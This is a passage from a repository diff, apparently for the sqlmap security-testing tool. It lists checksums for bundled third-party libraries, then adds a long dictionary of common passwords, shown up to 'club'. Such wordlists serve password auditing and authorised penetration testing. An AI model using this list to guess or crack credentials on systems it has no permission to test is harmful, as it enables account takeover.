+be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py +3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py +d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py +2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py +f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py +2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py +4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py +f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py +5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py +4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py +011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py +87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py +498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py +2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py +d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py +208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py +a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py +21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py +b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py +1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py +162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py +a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py +d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py +f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py +fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py +179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py +4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py +6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py +dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json +e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py +edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py +d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py +879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py +c7ac7253fa450030f9c42f11bb19689055bb8c39621bcfbeca856ba3c9342760 thirdparty/keepalive/keepalive.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py +4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py +2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py +ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py +9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py +3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py +4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py +c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py +7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE +56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py +b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py +4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py +7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt new file mode 100644 index 00000000000..96b0cab614a --- /dev/null +++ b/data/txt/smalldict.txt @@ -0,0 +1,10180 @@ + +! +* +***** +****** +******** +********** +************* +------ +: +????? +?????? +!@#$% +!@#$%^ +!@#$%^& +!@#$%^&* +$HEX +0 +0000 +00000 +000000 +0000000 +00000000 +000000000 +0000000000 +0000007 +000001 +000007 +00001111 +0007 +00112233 +0069 +007 +007007 +007bond +0101 +010101 +01010101 +01011980 +01012011 +010203 +01020304 +0123 +01230123 +012345 +0123456 +01234567 +0123456789 +020202 +030300 +030303 +0420 +050505 +06071992 +0660 +070707 +080808 +0815 +090909 +0911 +0987 +098765 +09876543 +0987654321 +0racl3 +!~!1 +1 +100 +1000 +100000 +1001 +100100 +1002 +100200 +1003 +1004 +1005 +1007 +1008 +1010 +101010 +10101010 +1011 +1012 +1013 +1014 +1015 +1016 +1017 +1018 +1020 +10203 +102030 +10203040 +1022 +1023 +1024 +1025 +1026 +1027 +1028 +1029 +102938 +1029384756 +1030 +10301030 +1031 +10311031 +1066 +10sne1 +1101 +110110 +1102 +1103 +1104 +111 +1111 +11111 +111111 +1111111 +11111111 +111111111 +1111111111 +111111a +11112222 +1112 +111222 +111222333 +111222tianya +1114 +1115 +1117 +1120 +1121 +1122 +112211 +11221122 +112233 +11223344 +1122334455 +1123 +112358 +11235813 +1123581321 +1124 +1125 +1129 +11921192 +11922960 +1200 +1201 +1204 +1205 +120676 +1207 +1208 +1209 +1210 +1211 +1212 +121212 +12121212 +1212312121 +1213 +12131213 +121313 +121314 +12131415 +1214 +12141214 +1215 +1216 +121834 +1220 +1221 +12211221 +1223 +1224 +1225 +1226 +1227 +1228 +123 +1230 +123000 +12301230 +123098 +1231 +12312 +123123 +12312312 +123123123 +1231234 +123123a +123123q +123123qwe +123123xxx +12321 +1232323q +123321 +123321123 +123321q +1234 +12341234 +1234321 +12344321 +12345 +123451 +1234512345 +123454321 +1234554321 +123456 +123456! +1234560 +1234561 +123456123 +123456123456 +123456654321 +1234567 +12345671 +12345678 +12345678@ +123456781 +123456788 +123456789 +1234567890 +12345678900 +12345678901 +1234567890q +1234567891 +12345678910 +1234567899 +123456789a +123456789abc +123456789asd +123456789q +123456789z +12345678a +12345678abc +12345678q +12345679 +1234567a +1234567Qq +123456987 +123456a +123456a@ +123456aa +123456abc +123456as +123456b +123456c +123456d +123456j +123456k +123456l +123456m +123456q +123456qq +123456qwe +123456qwerty +123456s +123456t +123456z +123456za +123457 +12345a +12345abc +12345abcd +12345q +12345qwert +12345qwerty +12345t +123465 +1234abcd +1234asdf +1234qwer +1235 +123654 +123654789 +12369874 +123698745 +123789 +123789456 +123987 +123a123a +123abc +123admin +123asd +123asdf +123go +123hfjdk147 +123mudar +123qazwsx +123qwe +123qwe123 +123qwe123qwe +123qweasd +123qweasdzxc +123qwerty +123spill +123stella +12413 +1245 +124578 +1269 +12axzas21a +12qw34er +12qwas +12qwaszx +1301 +1313 +131313 +13131313 +13141314 +1314520 +1314521 +1316 +13243546 +1332 +1342 +134679 +134679852 +135246 +1357 +13579 +135790 +135792468 +1357924680 +1369 +140136 +1412 +14121412 +1414 +141414 +14141414 +141421356 +142536 +142857 +1430 +143143 +14344 +1435254 +1453 +14531453 +1464688081 +147147 +147258 +14725836 +147258369 +1475 +147852 +147852369 +1478963 +14789632 +147896325 +1492 +1502 +1515 +151515 +159159 +159159159 +159357 +1596321 +159753 +15975321 +159753qq +159951 +1616 +161616 +168168 +1701 +1701d +170845 +1717 +171717 +17171717 +173173 +1776 +1812 +1818 +181818 +18436572 +1868 +187187 +1878200 +19031903 +19051905 +19071907 +19081908 +1911 +1919 +191919 +1928 +192837465 +1941 +1942 +1943 +1944 +1945 +1946 +1947 +1948 +1949 +1950 +1951 +1952 +1953 +1954 +1955 +1956 +1957 +1958 +1959 +1960 +1961 +1962 +1963 +1964 +19641964 +1965 +1966 +1967 +1968 +1969 +19691969 +196969 +1970 +19701970 +1971 +1972 +19721972 +1973 +19731973 +1974 +19741974 +1975 +19750407 +19751975 +1976 +19761976 +1977 +19771977 +1978 +19781978 +1979 +19791979 +1980 +19801980 +1981 +19811981 +1982 +19821982 +1983 +19831983 +1984 +19841984 +1985 +19851985 +1985329 +1986 +19861986 +1987 +19871987 +1988 +19881988 +1989 +19891989 +1990 +19901990 +1991 +19911991 +1992 +19921992 +1993 +19931993 +1994 +19941994 +1995 +199510 +19951995 +1996 +1997 +19971997 +1998 +19981998 +1999 +199999 +1a2b3c +1a2b3c4d +1g2w3e4r +1million +1p2o3i +1password +1q2w3e +1q2w3e4r +1q2w3e4r5 +1q2w3e4r5t +1q2w3e4r5t6y +1q2w3e4r5t6y7u +1qa2ws3ed +1qay2wsx +1qaz1qaz +1qaz2wsx +1qaz2wsx3edc +1qazxsw2 +1qw23e +1qwerty +1v7Upjw3nT +2000 +200000 +20002000 +2001 +20012001 +2002 +20022002 +2003 +20032003 +2004 +2005 +2010 +20102010 +2012comeer +201314 +2020 +202020 +20202020 +2112 +21122112 +2121 +212121 +21212121 +212224 +212224236 +22 +2200 +2211 +221225 +2222 +22222 +222222 +2222222 +22222222 +2222222222 +222333 +222777 +223344 +22446688 +2252 +2323 +232323 +23232323 +2345 +234567 +23456789 +23skidoo +2424 +242424 +24242424 +2468 +24680 +246810 +24681012 +24682468 +2469 +2501 +25011990 +25132513 +2514 +2516 +25162516 +25182518 +2520 +25202520 +2522 +25222522 +25232523 +25242524 +2525 +25251325 +252525 +25252525 +25262526 +25272527 +25292529 +25302530 +25362536 +256256 +256879 +2580 +25802580 +26011985 +2626 +262626 +2727 +272727 +2828 +282828 +2871 +2879 +290966 +292929 +2971 +29rsavoy +2bornot2b +2cute4u +2fast4u +2gAVOiz1 +2kids +2tjNZkM +3000gt +3006 +3010 +3030 +303030 +303677 +30624700 +3112 +311311 +3131 +313131 +313326339 +3141 +314159 +31415926 +315475 +3182 +31994 +321123 +321321 +321321321 +321654 +321654987 +32167 +3232 +323232 +3282 +332211 +333 +3333 +33333 +333333 +3333333 +33333333 +333666 +333888 +336699 +3434 +343434 +3533 +353535 +3571138 +362436 +3636 +363636 +36633663 +369 +369258147 +369369 +373737 +383838 +393939 +3bears +3rJs1la7qE +4040 +404040 +4055 +4121 +4128 +414141 +4200 +420000 +420247 +420420 +421uiopy258 +4242 +424242 +426hemi +4293 +4321 +43214321 +434343 +4417 +4444 +44444 +444444 +4444444 +44444444 +445566 +4545 +454545 +456 +456123 +456321 +456456 +456456456 +456654 +4567 +456789 +456852 +464646 +46494649 +46709394 +4711 +474747 +4788 +4815162342 +484848 +485112 +4854 +494949 +49ers +4ever +4tugboat +5000 +5050 +505050 +50cent +5121 +514007 +5150 +515000 +51505150 +515151 +5201314 +520520 +5211314 +521521 +5252 +525252 +5324 +5329 +535353 +5424 +54321 +543210 +5454 +545454 +5551212 +5555 +55555 +555555 +5555555 +55555555 +5555555555 +555666 +5656 +565656 +5678 +567890 +5683 +575757 +57chevy +585858 +589589 +5956272 +59635963 +5RGfSaLj +606060 +616161 +6262 +626262 +6301 +635241 +636363 +6435 +646464 +6535 +654321 +6543211 +655321 +656565 +6655321 +666 +6666 +66666 +666666 +6666666 +66666666 +666777 +666999 +676767 +6820055 +686868 +6969 +696969 +69696969 +6996 +6V21wbgad +7007 +709394 +7153 +717171 +727272 +737373 +74108520 +741852 +741852963 +747474 +753159 +753951 +7546 +757575 +7646 +7654321 +767676 +7734 +7758258 +7758521 +777 +7777 +77777 +777777 +7777777 +77777777 +7779311 +778899 +786786 +787878 +789123 +7894 +789456 +78945612 +789456123 +7894561230 +789654 +789654123 +789789 +789987 +7913 +7936 +797979 +7dwarfs +80486 +818181 +851216 +85208520 +852456 +8657 +8675309 +868686 +8757 +87654321 +878787 +8888 +88888 +888888 +8888888 +88888888 +8989 +898989 +8avLjNwf +90210 +909090 +90909090 +911 +911911 +9379992 +951753 +951753aa +959595 +963852 +963852741 +969696 +9768 +985985 +987456 +987456321 +9876 +98765 +987654 +9876543 +98765432 +987654321 +9876543210 +987987 +989898 +99887766 +9999 +99999 +999999 +9999999 +99999999 +999999999 +9999999999 +a +a102030 +a123123 +a12345 +a123456 +a1234567 +a12345678 +a123456789 +A123456a +a1a2a3 +a1b2c3 +a1b2c3d4 +a1s2d3f4 +a56789 +a838hfiD +aa +aa000000 +aa112233 +aa123123 +aa123456 +Aa1234567 +aa12345678 +Aa123456789 +aaa +aaa111 +aaa123 +aaaa +aaaa1111 +aaaaa +aaaaa1 +aaaaaa +aaaaaa1 +aaaaaaa +aaaaaaaa +aaaaaaaaaa +aabb1122 +aaliyah +aardvark +aaron +Ab123456 +abacab +abbott +abby +abc +abc123 +Abc@123 +abc1234 +Abc@1234 +abc12345 +abc123456 +abcabc +abcd +abcd123 +abcd1234 +Abcd@1234 +Abcd1234 +abcde +abcdef +abcdefg +abcdefg1 +abcdefg123 +abcdefgh +abcdefghi +abdullah +abercrombie +aberdeen +abgrtyu +abhishek +abigail +abm +abnormal +abraham +abrakadabra +absinthe +absolut +absolute +abstract +academia +academic +acapulco +access +access14 +accident +accord +ACCORD +account +account1 +accounting +accurate +ace +achilles +acoustic +acropolis +action +activity +acura +adam +adamadam +adamko +adams +addict +addicted +addiction +adelaida +adelante +adfexc +adgangskode +adi +adidas +aditya +adm +admin +Admin +admin000 +admin1 +Admin1 +admin12 +admin123 +Admin1234 +admin256 +adminadmin +adminadmin123 +administrator +ADMINISTRATOR +adminpass +adminpwd +adobe1 +adobe123 +adrenalin +adrenaline +adrian +adriana +adrianna +adrianne +adults +advance +advocate +aek1924 +aekara21 +aerobics +aerospace +affinity +afghanistan +africa +afterlife +again +agamemnon +aggies +agnieszka +agosto +aguilas +agustin +ahl +ahm +aikman +aikotoba +aileen +airborne +aircraft +airforce +airlines +airman +airplane +aisiteru +ak +akatsuki +aki123 +akira +akuankka +alabama +alabaster +alakazam +alan +alanis +alaska +alastair +albacore +albatros +albatross +albert +alberta +alberto +alberto1 +albion +alcapone +alcatraz +alchemist +alchemy +alejandr +alejandra +alejandro +alekos +aleksandr +aleksandra +aleksi +alenka +alessandra +alessandro +alessia +alessio +alex +alex2000 +alexa +alexande +alexander +alexander1 +alexandr +alexandra +alexandre +alexandria +alexandru +alexia +alexis +alexis1 +alf +alfaro +alfarome +alfred +alfredo +algebra +algernon +alias +alibaba +alicante +alice +alice1 +alicia +alisa +alisha +alison +alissa +alistair +alive +alkaline +all4one +alleycat +allgood +alli +alliance +alligator +allison +allison1 +allister +allmine +allright +allsop +allstar +allstars +allstate +almafa +almighty +almond +aloha +alone +alonso +aloysius +alpacino +alpha +Alpha +alpha1 +alpha123 +alphabet +alphonse +alpine +altamira +alterego +alternate +altima +altima1 +altitude +alucard +alvarado +always +alyssa +ama +amadeus +amanda +amanda1 +amaranth +amarillo +amateur +amazonas +ambassador +amber +amber1 +ambition +ambrosia +amelia +america +america1 +american +americana +amho +AMIAMI +amigas +amigos +amirul +amistad +amnesiac +amorcito +amoremio +amores +amormio +amorphous +amsterda +amsterdam +anabelle +anaconda +anakonda +anal +analog +analsex +analysis +anamaria +anarchy +anastasija +anathema +andersen +anderson +andre +andre123 +andrea +andrea1 +andreas +andreea +andrei +andreita +andrej +andrejka +andrejko +andres +andrew +andrew1 +andrew123 +andrey +andris +andromeda +andrzej +andy +andyandy +anette +anfield +angel +angel1 +angel123 +angela +angelas +angeles +angeleyes +angelfish +angelica +angelika +angelina +angeline +angelita +angelito +angelo +angels +angie +angie1 +angus +anhyeuem +animal +animals +Animals +animated +anime +aninha +anita +anitha +anjelik +ankara +annabelle +annalena +annalisa +annamaria +anne +anneli +annelise +annemarie +annette +annie +annika +anon +anonymous +another +antares +anteater +antelope +anthony +anthony1 +anthony2 +antichrist +antigone +antihero +antilles +antiques +antivirus +antoinette +anton +antonia +antonina +antonio +antonio1 +antonis +anvils +anything +anywhere +aobo2010 +aolsucks +AP +apa123 +apache +aparker +apc +apelsin +aperture +apina123 +apocalypse +apollo +apollo11 +apollo13 +apple +apple1 +apple123 +apple2 +applepie +apples +april +april1 +aprilia +aptx4869 +aq +aqua +aquamarine +aquarius +aqwa +arachnid +aragorn +aramis +arcangel +archer +archie +architect +architecture +area51 +aremania +argentin +argentina +aria +ariadne +ariana +arianna +ariel +arigatou +arizona +arkansas +arlene +armada +armadillo +armagedon +armando +armani +armastus +armchair +armitage +army +arnar +arnold +around +arpeggio +arrow +arrowhead +arsenal +arsenal1 +arthur +artichoke +artist +artistic +artofwar +arturas +arturo +arturs +arvuti +as123123 +as123456 +asante +asas +asasas +asasasas +ascend +asd +asd123 +asd12345 +asd123456 +asdasd +asdasd123 +asdasd5 +asdasdasd +asddsa +asdf +asdf123 +asdf1234 +Asdf1234 +asdf12345 +asdfasdf +asdffdsa +asdfg +asdfg1 +asdfg123 +asdfg12345 +asdfgh +asdfgh1 +asdfgh12 +asdfghj +asdfghjk +asdfghjkl +asdfghjkl1 +asdfjkl +asdf;lkj +asdfqwer +asdfzxcv +asdqwe123 +asdsa +asdzxc +asecret +asf +asg +asgard +ashish +ashlee +ashleigh +ashley +ashley1 +ashley12 +ashraf +ashton +asian +asians +asilas +asl +asm +aso +asp +asparagus +aspateso19 +aspen +aspire +ass +assassin +assassins +assfuck +asshole +asshole1 +assman +assmunch +assword +astaroth +asterisk +asteroid +astra +astral +astrid +astro +astroboy +astronaut +astros +atalanta +athena +athens +athletics +athlon +atlanta +atlantis +atmosphere +atreides +attention +attila +attitude +auckland +audia4 +auditt +audrey +auggie +august +august07 +augustine +aurelie +aurelius +aurimas +aurinko +aurora +austin +austin1 +austin31 +austin316 +australi +australia +australian +author +authority +auto +autobahn +autocad +automatic +autumn +avalon +avatar +avenger +avengers +avenir +aventura +awesome +awesome1 +awkward +ax +ayelet +az +az1943 +azazel +aze +azerty +azertyui +azertyuiop +azsxdcfv +aztecs +azure +azzer +b123456 +b6ox2tQ +baba +babaroga +babes +babies +baby +baby12 +baby123 +babyblue +babyboo +babyboy +babyboy1 +babycake +babycakes +babydoll +babyface +babygirl +babygirl1 +babygurl +babygurl1 +babyko +babylove +babyphat +bacchus +bach +bachelor +back +backbone +backfire +background +backlash +backpack +backspin +backup +BACKUP +backupexec +backward +backyard +bacon +bacteria +badass +badboy +badg3r5 +badger +badgirl +badlands +badminton +badoo +baggins +bagheera +bahamut +bailey +bailey1 +baili123com +bajs +bajs123 +bajsbajs +baker +balaji +balance +balazs +balder +baldwin +ball +baller +ballet +ballin +ballin1 +balls +balqis +baltazar +baltimore +bambam +banaan +banaani +banana +bananas +bandicoot +bandit +banger +bangladesh +bangsat +bangsi +bank +banker +banks +banned +banner +banzai +baphomet +bara +baracuda +baraka +barbara +barbarian +barbershop +barbie +barcelon +barcelona +bareback +barefoot +barfly +barn +barnacle +barnes +barney +barnyard +barracuda +barron +barry1 +bart +bartas +bartek1 +bartender +barton +base +baseball +baseball1 +baseline +basement +baseoil +basf +basic +basil +basilisk +basket +basketba +basketball +bass +bastard +bastard1 +bastardo +bastille +batch +bathing +bathroom +batista +batman +batman1 +batman123 +battery +battle +battlefield +batuhan +bavarian +baxter +baywatch +bbbb +bbbb1111 +bbbbb +bbbbbb +beach +beaches +beacon +beagle +bean +bean21 +beaner +beans +bear +bearbear +bearcats +bears +bearshare +beast +beastie +beasty +beater +beatles +beatrice +beatriz +beaufort +beautiful +beautiful1 +beauty +beaver +beavis +bebe +bebita +because +becker +beckham +becky +bedford +beebop +beech +beefcake +beepbeep +beer +beerbeer +beerman +beethoven +beetle +begga +beginner +behemoth +beholder +belekas +belgrade +believe +believer +belinda +bell +bella +bella1 +bella123 +belladonna +belle +beloved +bemari +ben +benfica +beng +bengals +benito +benjamin +Benjamin +benjamin1 +benni +bennie +benoit +benson +bentley +benz +beowulf +berenice +bergkamp +berglind +berkeley +berlin +berliner +bermuda +bernadette +bernard +bernardo +bernie +berry +berserker +bert +bertha +bertrand +beryl +besiktas +bessie +best +bestbuy +bestfriend +bestfriends +beta +betacam +beth +bethany +betito +betrayal +betrayed +betsy +better +betty +bettyboop +beverley +beyonce +bhaby +bhebhe +bhf +bianca +biatch +bic +bichilora +bicycle +bigal +bigass +bigballs +bigbear +bigben +bigbig +bigblack +bigblock +bigbob +bigboobs +bigboss +bigboy +bigbrother +bigbutt +bigcat +bigcock +bigdaddy +bigdick +bigdicks +bigdog +bigfish +biggi +biggie +biggles +biggun +bigguns +bighead +bigman +bigmike +bigmouth +bigone +bigones +bigpimp +bigpoppa +bigred +bigsexy +bigtime +bigtit +bigtits +bil +bilbao1 +bilbo +bill +billabon +billabong +billgates +billiard +billings +billions +bills +billy +bim +bimbo +bin +bing +binky +binladen +bintang +biochem +biohazard +biologia +biology +bionicle +biostar +bird +bird33 +birdie +birdland +birdy +birgit +birgitte +birillo +birthday +bis +biscuit +bisexual +bishop +bismarck +bismilah +bismillah +bisounours +bitch +bitch1 +bitchass +bitches +bitchy +biteme +bittersweet +bizkit +bjarni +bjk1903 +blabla +black +black1 +blackbelt +blackbir +blackbird +blackdragon +blackfire +blackhawk +blackheart +blackhole +blackice +blackjac +blackjack +blackman +blackout +blackpool +blacks +blackstar +blackstone +blacky +blade +bladerunner +blades +blahblah +blaine +blanche +blanco +blazer +bledsoe +bleeding +blessed +blessed1 +blessing +blinds +Blink123 +blink182 +bliss +blissful +blitz +blitzkrieg +blizzard +blonde +blondes +blondie +blood +bloodhound +bloodline +bloodlust +bloods +bloody +blooming +blossom +blowfish +blowjob +blowme +blubber +blue +blue123 +blue1234 +blue22 +blue32 +blue99 +blueball +blueberry +bluebird +blueboy +bluedog +bluedragon +blueeyes +bluefish +bluegill +bluejean +bluemoon +bluenose +bluesky +bluestar +bluewater +bmw325 +bmwbmw +boarding +boat +boater +boating +bob +bobbie +bobby +bobo +bobobo +bodhisattva +body +boeing +bogey +bogus +bohemian +bohica +boiler +bollocks +bollox +bologna +bomb +bombay +bomber +bomberman +bombers +bombshell +bonanza +bond +bond007 +bone +bones +bonita +bonjour +bonnie +boob +boobear +boobie +boobies +booboo +booboo1 +boobs +booger +boogie +book +books +boom +boomer +boomer1 +boomerang +booster +bootie +booty +bootys +booyah +bordeaux +bordello +borders +boricua +boris +BOSS +boss123 +bossman +boston +bottle +bou +boubou +bowler +bowling +bowman +bowtie +bowwow +boxer +boxers +boxing +boyboy +boyfriend +boys +boyscout +boytoy +boyz +bozo +br0d3r +br549 +bracelet +brad +bradley +brady +braindead +brainiac +brainstorm +brandi +brandnew +brandon +brandon1 +brandy +brandy1 +brasil +braske +braves +bravo +brazil +breakaway +breakdown +breakers +breaking +breakout +breanna +breast +breasts +breeze +brenda +brendan +brent +brest +brian +brian1 +brian123 +briana +brianna +brianna1 +briciola +bricks +bridge +bridges +bridgett +bridgette +brilliant +brinkley +brisbane +bristol +britain +british +britney +brittany +brittany1 +brittney +broadcast +brodie +broken +broker +bronco +broncos +brook +brooke +brooklyn +brooks +brother +brother1 +brotherhood +brothers +brown +brown1 +brownie +brownie1 +browning +browns +bruce +bruce1 +brucelee +bruins +brujita +brunette +bruno +brunswick +brutus +bryan +bsc +bsd +bubba +bubba1 +bubba123 +bubbas +bubble +bubblegum +bubbles +bubbles1 +buceta +buchanan +buck +buckaroo +buckeye +buckeyes +bucks +buckshot +buddah +buddha +buddy +buddy1 +budgie +budlight +budman +budweiser +buffalo +buffalo1 +buffet +buffett +buffy +buffy1 +bugs +bugsbunny +bugsy +builder +builtin +bukkake +bukowski +bulldog +bulldogs +bulldozer +buller +bullet +bulletin +bulletproof +bullfrog +bullhead +bulls +bullseye +bullshit +bummer +bumper +bungalow +bunghole +bunny +bunny1 +burak123 +burner +burning +burnout +burns +burnside +burton +bushido +business +busted +buster +buster1 +butch +butcher +butkus +butt +butter +butterball +buttercu +buttercup +butterfl +butterflies +butterfly +butterfly1 +butters +butterscotch +buttfuck +butthead +buttman +buttocks +buttons +butts +buzz +byebye +byron +byteme +c +c123456 +caballero +caballo +cabron +caca +cachonda +cachorro +cactus +cad +caesar +caffeine +caitlin +calabria +calculus +calcutta +calderon +caldwell +calendar +caliente +californ +california +call +calliope +callisto +callum +calvin +camaro +camaross +camay +camber +cambiami +cambodia +camden +camel +camels +cameltoe +camera +camero +cameron +cameron1 +cameroon +camila +camilla +camille +camilo +campanile +campanita +campbell +camping +campus +canada +canadian +canberra +cancan +cancel +cancer +candi +candy +candy1 +canela +canfield +cannabis +cannibal +cannonball +canon +cantik +canuck +canucks +capacity +capecod +capital +capoeira +caprice +capricor +capricorn +captain +car +caramelo +caravan +card +cardinal +cardinals +cards +carebear +carefree +careless +caren +caribbean +carl +carla +carleton +carlito +carlitos +carlos +carlos1 +carlton +carman +carmella +carmen +carmen1 +carnage +carnaval +carnegie +carnival +carol +carolina +caroline +carpedie +carpediem +carpente +carrera +carrie +carroll +cars +carson +carter +carter15 +carthage +cartman +cartoons +carvalho +casandra +cascades +casey +casey1 +cash +cashmere +cashmoney +casino +Casio +casper +cassandr +cassandra +cassidy +cassie +caster +castillo +castle +castor +cat +catalina +CATALOG +catalyst +catapult +catarina +catcat +catch22 +catdog +caterina +caterpillar +catfish +catherine +cathleen +catholic +catriona +cattle +caught +cavallo +cayuga +cc +ccbill +cccc +ccccc +cccccc +ccccccc +cccccccc +ce +cecile +cecilia +cecily +cedic +cedric +celeb +celebration +celebrity +celeron +celeste +celestial +celestine +celica +celine +cellphone +cellular +celtic +celticfc +celtics +center +centra +central +ceramics +cerulean +cervantes +cesar +cessna +cg123456 +chacha +chains +chair +chairman +challeng +challenge +challenger +champ +champagne +champion +champions +champs +chan +chance +chandler +chanel +chang +change +changeit +changeme +ChangeMe +changes +changethis +channel +channels +channing +chantal +chao +chaos1 +chapman +character +characters +charcoal +charger +chargers +charisma +charissa +charlene +charles +charleston +charlie +charlie1 +charlott +charlotte +charly +charmaine +charmed +charming +chase +chase1 +chaser +chastity +chat +chatting +chauncey +chavez +cheaters +cheating +cheche +check +checker +checking +checkmate +cheddar +cheech +cheeks +cheer +cheer1 +cheerios +cheerleader +cheers +cheese +cheese1 +cheeseburger +cheetah +chelle +chelsea +chelsea1 +chem +chemical +cheng +chennai +cherokee +cherries +cherry +cheryl +cheshire +chess +chessie +chessman +chester +chester1 +chesterfield +chevelle +chevrolet +chevy +chewie +chewy +cheyenne +chiara +chicago +chicca +chicco +chichi +chick +chicken +chicken1 +chickens +chief +children +chill +chillin +chilling +chilly +chimaera +chimera +chinacat +chinaman +chinchin +chinita +chinna +chinnu +chip +chipmunk +chips +chiquita +chivalry +chivas +chivas1 +chloe +chocha +choclate +chocolat +chocolate +chocolate! +chocolate1 +choice +choke +choochoo +chopin +chopper +chopper1 +choppers +chou +chouchou +chouette +chowchow +chris +chris1 +chris6 +chrisbrown +chrissy +christ +christa +christia +christian +christian1 +christin +christina +christine +christma +christmas +christop +christoph +christopher +christy +christy1 +chrome +chronic +chrono +chronos +chrysler +chrystal +chuang +chubby +chuck +chuckles +chucky +chui +church +ciao +ciccio +cigar +cigarette +cigars +cimbom +cincinnati +cinder +cinderella +cindy +cingular +cinnamon +cinta +cintaku +circus +cirque +citadel +citation +citibank +citroen +citrom +city +civic +civil +civilwar +cjmasterinf +claire +clapton +clarkson +class +classic +classroom +claudel +claudia +claudia1 +clave +clay +claymore +clayton +cleaning +clemente +clemson +cleo +cleopatr +cleopatra +clerk +client +clifford +clifton +climax +climber +clinton +clippers +clit +clitoris +clock +cloclo +close +closer +clouds +cloudy +clover +clown +clowns +club 